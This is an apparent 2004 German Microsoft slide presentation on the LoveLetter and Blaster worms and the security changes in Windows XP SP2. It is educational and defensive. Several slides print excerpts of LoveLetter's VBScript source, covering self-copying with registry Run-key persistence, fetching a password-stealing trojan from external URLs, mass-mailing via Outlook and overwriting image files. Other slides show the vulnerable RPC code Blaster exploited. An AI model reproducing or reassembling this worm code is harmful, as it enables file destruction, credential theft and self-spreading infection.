540 likes | 793 Views
Viren, Würmer, SP2. Uwe Baumann Dirk Primbs .NET Community Evangelists Microsoft Deutschland GmbH uwebaum@microsoft.com dirkp@microsoft.com. Sicherheit ist eine der größten und wichtigsten Aufgaben, die unsere Industrie jemals angehen musste.
E N D
Viren, Würmer, SP2 Uwe BaumannDirk Primbs.NET Community EvangelistsMicrosoft Deutschland GmbHuwebaum@microsoft.comdirkp@microsoft.com
Sicherheit ist eine der größten und wichtigsten Aufgaben, die unsere Industrie jemals angehen musste. Es geht nicht nur darum, einfach ein paar Sicherheitslöcher zu schließen und weiterzumachen. Die negativen Auswirkungen von Viren und Würmern auf ein akzeptables Niveau herunterzuschrauben erfordert ein fundamental neues Denken über Softwarequalität, ständige Verbesserungen bei Tools und Prozessen, und anhaltende Investitionen in widerstandsfähige neue Sicherheitstechnologien, die bösartigen oder zerstörerischen Code blocken, bevor Schaden entsteht [...] Der technologische Fortschritt in den letzten zwei Jahrzehnten ist unglaublich, und ist viel zu wichtig, als daß wir ein paar Kriminellen erlauben dürfen, uns davon abzuhalten, die fantastischen Errungenschaften der Technologie zu genießen. Bill Gates, 31. März 2004
Viren, Würmer, Trojaner • Zwei typische Vertreter • LoveLetter und Blaster • Wurm Inside • So funktionieren LoveLetter und Blaster • Harte Lektionen • Warum konnte das geschehen? • Aus Schaden wird man klug • Hilfe, mein Code geht nicht mehr! • „Kann man das auch ausschalten?“
Love Letter Als die Liebe die Welt regierte
Mittwoch, 3. Mai 2000 Ein neuer Wurm taucht auf.Unter den ersten „Patienten“ sind Microsoft Deutschland, Lucent Technology Europa und Credit Suisse Donnerstag, 4. Mai 4:12 Uhr Antivirus-Hersteller in Europa empfangen die ersten Meldungen von Kunden und beginnen um ca. 5:00 Uhr mit der Analyse. Es wird schnell klar: Der Wurm, geschrieben in VB Script, ist nicht sehr kompliziert, aber extrem ansteckend. Ca. 7:00 Uhr ... in Melbourne klickt ein Mitarbeiter des Reiseführer-Verlags „Lonely Planet“ auf das Wurm-Script und verschickt den Wurm an 100 Reiseführer-Autoren in der ganzen Welt… 18:40 Uhr Viele Antivirus-Hersteller machen Virus-Definitionsfiles zum freien Download über das Web verfügbar. 16:00 UhrDer erste Clone taucht auf („Funny Joke“) Dienstag, 9. MaiVirusmeldungen aus aller Welt gehen zurück. Insgesamt sind jetzt 29 Varianten im Umlauf, eine halbe Million PCs wurden infiziert. Mittwoch, 4. Mai 200013:00 UhrDer Wurm trifft im Pentagon und bei der CIA ein. Das FBI nimmt die Ermittlungen auf. Ab 7 Uhr … und an der Ostküste der USA klicken Tausende liebeshungrige Büroangestellte nach einem frustrierenden Wochenende auf die Mail in der Hoffnung auf ein Rendez-Vouz 7:00 UhrAntivirus-Hersteller verschicken die ersten Versionen der Virendefinition an ihre Kunden, aber es ist bereits zu spät denn… Vormittag Mitarbeiter des philippinischen Internetproviders „Sky Internet“ bemerken eine drastisch erhöhte Anzahl von Downloads auf ihren Servern. Der Wurm lädt dort einen Trojaner herunter, der Passwörter ausspioniert und an zwei eMail-Adressen versendet. Der Provider schaltet die betroffenen Server ab. Freitag, 5. MaiMittlerweile sind 9 weitere Varianten im Umlauf, getarnt als Muttertagsmail und als Nachricht des Antiviren-Herstellers Symantec Quelle: PCWorld.com
Reproduktion • Verschickt sich als Attachment an eMail-Adressen aus dem Outlook-Addressbuch des Benutzers • Verschickt sich über IRC mit Hilfe des DCC Features (Direct Client-to-Client)
Aktionen • Ersetzt Files mit Kopien des eigenen Codes • Startet Download eines Trojaners • Verschickt sich selbst über eMail • Infiziert (überschreibt) Files • Erstellt ein mIRC Script • Verändert die Startseite des Internet Explorers
Inside LoveLetter • Analyse des VBS-Skripts
Code: Selbstkopien erstellen Set wscr=CreateObject("WScript.Shell") … Set dirwin = fso.GetSpecialFolder(0) Set dirsystem = fso.GetSpecialFolder(1) Set dirtemp = fso.GetSpecialFolder(2) Set c = fso.GetFile(WScript.ScriptFullName) c.Copy(dirsystem&"\MSKernel32.vbs") c.Copy(dirwin&"\Win32DLL.vbs") c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs") … regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\ Run\MSKernel32",dirsystem&"\MSKernel32.vbs" regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\ RunServices\Win32DLL",dirwin&"\Win32DLL.vbs"
Code: Trojaner downloaden Randomize num = Int((4 * Rnd) + 1) if num = 1 then regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page", "http://www.skyinet.net/~young1s/[…]HJKhjnjbvYT/WINBUGSFIX.exe" elseif num = 2 then regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\ Start Page","http://www.skyinet.net/~angelcat/ […]skladjflfd/WIN-BUGSFIX.exe" elseif num = 3 then regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page", "http://www.skyinet.net/~koichi/[…]TRjkcbGRfF/WIN-BUGSFIX.exe" elseif num = 4 then regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page", "http://www.skyinet.net/~chu/[…]sdgfhjjgcb/WIN-BUGSFIX.exe" end if
Code: Massenmail schicken set regedit=CreateObject("WScript.Shell") set out=WScript.CreateObject("Outlook.Application") set mapi=out.GetNameSpace("MAPI") set a=mapi.AddressLists(ctrlists) x=1 for ctrentries=1 to a.AddressEntries.Count … set male=out.CreateItem(0) male.Recipients.Add(malead) male.Subject = "ILOVEYOU" male.Body = vbcrlf&"kindly check the attached LOVELETTER coming from me." male.Attachments.Add(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs") male.Send … x=x+1 next
Code: Files infizieren set f = fso.GetFolder(folderspec) set fc = f.Files for each f1 in fc ext=fso.GetExtensionName(f1.path) ext=lcase(ext) s=lcase(f1.name) … elseif(ext="jpg") or (ext="jpeg") then set ap=fso.OpenTextFile(f1.path,2,true) ap.write vbscopy ap.close set cop=fso.GetFile(f1.path) cop.copy(f1.path&".vbs") fso.DeleteFile(f1.path) … next
Das Ende vom Lied • 10 Milliarden US$ Schaden (geschätzt) • Unzählige Nachahmer • Wahrscheinlicher Autor: Philippinischer Student • Motiv: Entweder ein Versehen oder die Rache für eine zurückgewiesene Semesterarbeit • Verurteilung des Autors nach damals in den Philippinen geltendem Recht nicht möglich
Lektionen aus Love Letter • Love Letter vertraute darauf, daß… • … der Empfänger Mailattachements öffnet wenn die Email von bekannten Absendern stammt. • … der Empfänger ausreichende Rechte hat um von sich selbst Kopien in Systemverzeichnissen zu erstellen. • ... Mails vollautomatisch verschickt werden können.
Maßnahmen I • Hinweismeldungen von Office-Applikationen, bevor … • … VBA-Code ausgeführt wird. • … Scripts ausgeführt werden. • … Outlook automatisiert werden kann.
Maßnahmen II • Neue Sicherheitsoptionen für die Preview Pane in Outlook • Ausführbare Attachements werden blockiert: • Mail-Previews laufen in der „Restricted Sites“ Internet Zone
Windows XP Service Pack 2 • Neue Mail-Preview für Outlook Express • Zone „Local Machine“ restriktiver vorkonfiguriert • Neue zentrale API zum Handling von Attachements: Attachement Execution Services (AES) • Schnittstelle IAttachementExecute • Zentralisiert die Risiko-Abschätzung • Steuerbar über Group Policies
Bitte wenden Sie sich an Ihren Administrator • Als Nicht-Administrator wäre es Love Letter nicht möglich gewesen, … • … sich in HKLM\…\Run einzutragen. • … in ein Systemverzeichnis zu schreiben. • … Betriebssystembestandteile auszutauschen.
Einfache Benutzung “Automagic” Alle Features sind ON by default Große Angriffsfläche Out Of The Box Experience Features Attacks Usability & Features Security & Privacy Das Security ProblemSoftware Security Pendel Marketing Mode
Geringe “connectivity” Viele Sicherheitsdialoge Minimierte Angriffsfläche Oft schwerer zu benutzen Nur schwer zu vermarkten Usability & Features Security & Privacy Das Security ProblemSoftware Security Pendel Paranoid Mode
Kleinere Angriffsfläche Weniger Sicherheits-Dialoge Transparente Einstellung Konfigurierbar Sicher handhabbar! Security & Privacy als Feature für den Anwender Usability & Features Security & Privacy Das Security ProblemSoftware Security Pendel Optimum
Blaster Mach mal Pause!
Reproduktion • Wurmcode lädt EXE-Datei „MSBLAST.EXE“ von angreifendem, bereits infizierten System und führt diese lokal aus • Die EXE-Datei scannt weitere Systeme und infiziert diese mit dem Wurmcode
Aktionen • Startet Denial-of-Service Angriff auf http://www.windowsupdate.com • Bringt Computer zum Absturz (als Nebeneffekt)
Inside Blaster • Grundlagen: Buffer Overrun • Analyse der angreifbaren Stelle im Windows-Sourcecode
Buffer Overrun: Das Prinzip [1] void main() { char myLongBuffer[256]; myFunction(myBuffer); } void myFunction(char *myString) { char myShortBuffer[16]; strcpy(myShortBuffer, myString); } • Was passiert, wenn der übergebene String größer als 16 Zeichen ist?
MyShortBuffer Gehackte Adresse MyShortBuffer 16 „Böser“ Inhalt von MyShortBuffer: Viruscode Gehackte Adresse 256 MyLongBuffer Buffer Overrun: Das Prinzip [2] Stack void main() { char myLongBuffer[256]; myFunction(myLongBuffer); } Strings MyShortBuffer 16 256 void myFunction(char *myString) { char myShortBuffer[16]; strcpy(myShortBuffer, myString); } Sonstige Daten Virus ausführen Rücksprungadresse Daten sind zu lang ! Rücksprung an gehackte Adresse… (bisheriger Stackinhalt) Stack
Port 135 (Z.B. aus dem Internet) !!! Code: Blasters Angriffsziel error_status_t _RemoteActivation(WCHAR *pwszObjectName, ... ) { *phr = GetServerPath(pwszObjectName, &pwszObjectName); …} HRESULT GetServerPath(WCHAR *pwszPath, WCHAR **pwszServerPath ){ WCHAR * pwszFinalPath = pwszPath; WCHAR wszMachineName[MAX_COMPUTERNAME_LENGTH_FQDN + 1]; hr = GetMachineName(pwszPath, wszMachineName); *pwszServerPath = pwszFinalPath; } HRESULT GetMachineName( WCHAR * pwszPath, WCHAR wszMachineName[MAX_COMPUTERNAME_LENGTH_FQDN + 1]) { pwszServerName = wszMachineName; LPWSTR pwszTemp = pwszPath + 2; while ( *pwszTemp != L'\\' ) *pwszServerName++ = *pwszTemp++;
Ist das wirklich so einfach? • Ausnützen der Sicherheitslöcher ist nicht trivial! • Analyse der Verwundbarkeit • Sourcecode liegt (oft) nicht vor • Virenbaukästen („Kits“) helfen beim Bau einfacher Viren und Trojaner, aber… • Exploits werden immer schwieriger • Extrem detaillierte Kentnisse sind notwendig • Unmöglich ohne viel Zeit und Wissen
Sorgen eines Hackers • Sprungadresse zu eigenem Code finden • „NOP-Sledge“ oder gutes Raten • DLL-Funktionen aufrufen • DLL-Basisadresse? Funktions-Einsprungpunkt? • Prozeß abspalten • Keine native Win32-Funktion verfügbar • Platz für Literale ( z.B. Funktionsnamen) • Hashing notwendig • Keine Null im Code erlaubt • Decoder-Stub nötig Grrr!
Das Ende vom Lied • 5-10 Millionen US$ Schaden • 8 Millionen infizierte Computer • Autor immer noch nicht bekannt • Einige Nachahmer vor Gericht
Lektionen aus Blaster • Blaster nutzte eine Sicherheitslücke im Betriebssystem aus • Aktivierte Firewalls hätten Blaster im Vorfeld verhindert, aber… • … schafft es Blaster in ein Unternehmensnetzwerk, helfen nur noch Personal Firewalls auf den einzelnen Systemen • Zum Zeitpunkt der Verbreitung von Blaster gab es bereits seit nahezu einem Monat einen Patch, der aber nicht rechtzeitig eingespielt worden war
Maßnahmen gegen BOs • Bestimmte C/C++ Kommandos sind besonders anfällig • strcpy, gets, scanf, sprintf, strcat, … • BOs werden in Managed Code durch Laufzeitchecks verhindert. • Compilerswitch /GC aktiviert in Visual C/C++ verbessertes Stackhandling
Nutzloses Wissen Special Bergarbeiter mit Kanarienvogel (Welsh Miner‘s Canary) Prinzip: Vogel tot =zuviel Methangas Quelle: West Virginia Office of Miners’ Health, Safety and Training
void myFunction(char *myString) { char myShortBuffer[16]; strcpy(myShortBuffer, myString); } Prolog: Alloziiert Speicher auf dem Stack für lokale Variablen Prolog: Alloziiert Speicher auf dem Stack für lokale Variablen und speichert Zufallswert für Security Cookie (Canary) ab sub esp,20h sub esp,24h mov eax,dword ptr [___security_cookie (408040h)] xor eax,dword ptr [esp+24h] mov dword ptr [esp+20h],eax MyShortBuffer 16 Epilog: Führt Rücksprung durch add esp,20h ret Epilog: Prüft den Security Cookie (Canary) und führt anchließend Rücksprung durch 256 MyLongBuffer mov ecx,dword ptr [esp+20h] xor ecx,dword ptr [esp+24h] add esp,24h jmp __security_check_cookie (4010B2h) Compilerswitch /GC Stack MyShortBuffer Strings Security Cookie Rücksprungadresse (bisheriger Stackinhalt) Stack
PatchmanagementDefinition: Patch • Patches beheben gefundene Security Vulnerabilities • werden von Microsoft in Sicherheits-Bulletins veröffentlicht (z.B. MS03-47) • Patches werden in Rollup-Packages und Service Packs zusammengefasst • Vulnerabilities werden von Microsoft in 4 Schweregrade eingeteilt
PatchmanagementEnstehung des Blaster Wurms 1. Juli 03 16. Juli 03 25. Juli 03 11. August 03 Bulletin & Patch Verfügbar Bisher kein Angriff Schwachstelle entdeckt / Start der Patchentwicklung Angriffs-Codewird veröffentlicht Wurm infiziert die Welt Report • Schwachstelle in RPC/DDOM aufgedeckt • MS startet den höchsten Notfall-prozess Level Bulletin • MS03-026 wir an Kunden ausgeliefert • Kontinuierliche Kommunikation mit Analysten, Presse, Community, Partner, Regierungsbehörden Exploit • X-focus (Chinesische Security-Spezialisten) veröffentlicht Angriffs-Tool • MS maximiert die Anstrengungen, alle Kunden zu informieren Worm • Blaster Wurm entdeckt • Varianten und andere Viren schlagen gemeinsam zu (z.B. “SoBig”) Blaster zeigt das komplexe Zusammenspiel zwischen Sicherheitsforschung, Softwarehersteller und Hackern
331 180 151 25 SQL Slammer Nimda Blaster Welchia/ Nachi PatchmanagementReaktionszeit • Zeitspanne zwischen erscheinen des Patches und Auftreten eines Exploits sinkt • Exploits werden intelligenter • Ansatz Patch Management reicht nicht • Neue Techniken müssen entwickelt werden Tage zwischen Patch und Angriff
Windows XP SP2 • Verbessertes Patchmanagement • Automatische zeitgesteuerte Installation • Priorisierung beim Patch-Download • Reduzierte Patch-Größe mit Delta-Patching • Gleiche Scanning-Engine für alle Tools • “hot patching” Technologie • Reduzierte Anzahl von Reboots • Restart Explorer und einige SVCHOST Prozesse an statt kompletten Reboot
Windows XP SP2 • Execution Protection (no-execute, NX) • Speicher wird als Datenspeicher markiert • Der Versuch, im NX-Bereich Code auszuführen führt zu einer Exception • Muß von Hardware unterstützt werden
Internet Connection Firewall • Ab SP2 ist die ICF “ON by default” • Boot time protection • Verbesserte Konfigurationsmöglichkeiten • Group Policy, Kommandozeile • Verbesserte Benutzeroberfläche • Programmatisch: INetFwV4AuthorizedApplication, INetFwV4AuthorizedApplications, INetFwV4Mgr, INetFwV4Policy, INetFwV4Profile
Internet Connection Firewall II • Drei Betriebsmodi • Aktiviert (Standard)Alle eingehende Verbindungen werden blockiert, Ausnahme: Für in einer „White List“ erfasste Programme werden Ports bei Bedarf geöffnet • Aktiviert - keine Ausnahmen„Shielded Mode“, es werden keine eingehenden Verbindungen zugelassen • Deaktiviert
Windows XP SP2 – Weitere Änderungen • Unterbindung von anonymen RPC-Aufrufen • Neuer Registry-Key steuert das Verhalten: \\HKLM\SOFTWARE\Policies\Microsoft\Windows NT\RPC\RestrictRemoteClients • RPC_RESTRICT_REMOTE_CLIENT_NONE (0) – bisheriges Verhalten • RPC_RESTRICT_REMOTE_CLIENT_DEFAULT (1) – Anonyme Zugriffe werden zurückgewiesen. Standarteinstellung • RPC_RESTRICT_REMOTE_CLIENT_HIGH (2) – genauso wie zuvor, mit der Ausnahme, daß das RPC_IF_ALLOW_CALLBACKS_WITH_NO_AUTH flag keine Wirkung mehr hat. • DCOM: Globale Konfiguration von Zugriffsrechten • Die meisten lokalen Szenarien funktionieren ohne Änderung • Remote: Nur Administratoren haben by default das Recht Applikationen zu aktivieren (Activation) und zu starten (Launch)
Was tun, wenn nichts mehr geht? “Security is designed to make your system not work” (Michael Howard)
Fazit • Viele Viren benutzen einfache Mechanismen um sich zu Systemen Zugang zu verschaffen • Durch gezielte Maßnahmen kann die Anfälligkeit einer Applikation bzw. eines Systems deutlich gesenkt werden
© 2004 Microsoft Corporation. All rights reserved. This presentation is for informational purposes only. Microsoft makes no warranties, express or implied, in this summary.
Referenzen • Marshall Brain: “How Stuff Works: Computer Viruses”http://www.howstuffworks.com/virus.htm • Ulf Larson: „VBS.LoveLetter: A Study of the LoveLetter worm“http://www.ce.chalmers.se/undergraduate/D/EDA261/03/oh03/oh_F05_loveletter_4pp.pdf
Referenzen • Slipstick Systems : „Protecting Microsoft Outlook against Viruses“http://www.slipstick.com/outlook/antivirus.htm • Bill Gates: „Microsoft Progress Report: Security“ http://www.microsoft.com/mscorp/execmail/2004/03-31security-print.asp